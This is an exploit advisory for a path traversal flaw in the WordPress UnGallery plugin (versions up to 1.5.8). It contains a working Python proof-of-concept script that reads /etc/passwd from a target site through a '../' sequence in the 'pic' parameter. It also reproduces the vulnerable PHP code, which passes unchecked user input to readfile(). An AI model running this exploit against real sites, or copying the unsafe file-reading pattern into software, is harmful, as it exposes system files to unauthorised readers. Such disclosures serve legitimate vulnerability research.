WordPress UnGallery plugin <= 1.5.8 - Local File Disclosure Vulnerability



# Exploit Title: WordPress UnGallery plugin <= 1.5.8 Local File Disclosure Vulnerability

# Date: 2011-08-20
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/ungallery.1.5.8.zip
# Version: 1.5.8 (tested)

---
PoC
---
#!/bin/python

import urllib2

FILEPATH = "/etc/passwd"

req = urllib2.urlopen("http://www.site.com/wp-content/plugins/ungallery/source_vuln.php?pic=../../../../../../../..%s" % FILEPATH)

print "Filepath: '%s'" % FILEPATH
print "Content: %s" % repr(req.read())

---------------
Vulnerable code
---------------
if ($_GET['pic']) {
    $filename = $_GET['pic'];
    $len = filesize($filename);
    $lastslash =  strrpos($filename, "/");
    $name =  substr($filename, $lastslash + 1);   

    header("Content-type: image/jpeg;\r\n");
    header("Content-Length: $len;\r\n");
    header("Content-Transfer-Encoding: binary;\r\n");
    header('Content-Disposition: inline; filename="'.$name.'"');    //  Render the photo inline.
    readfile($filename);
}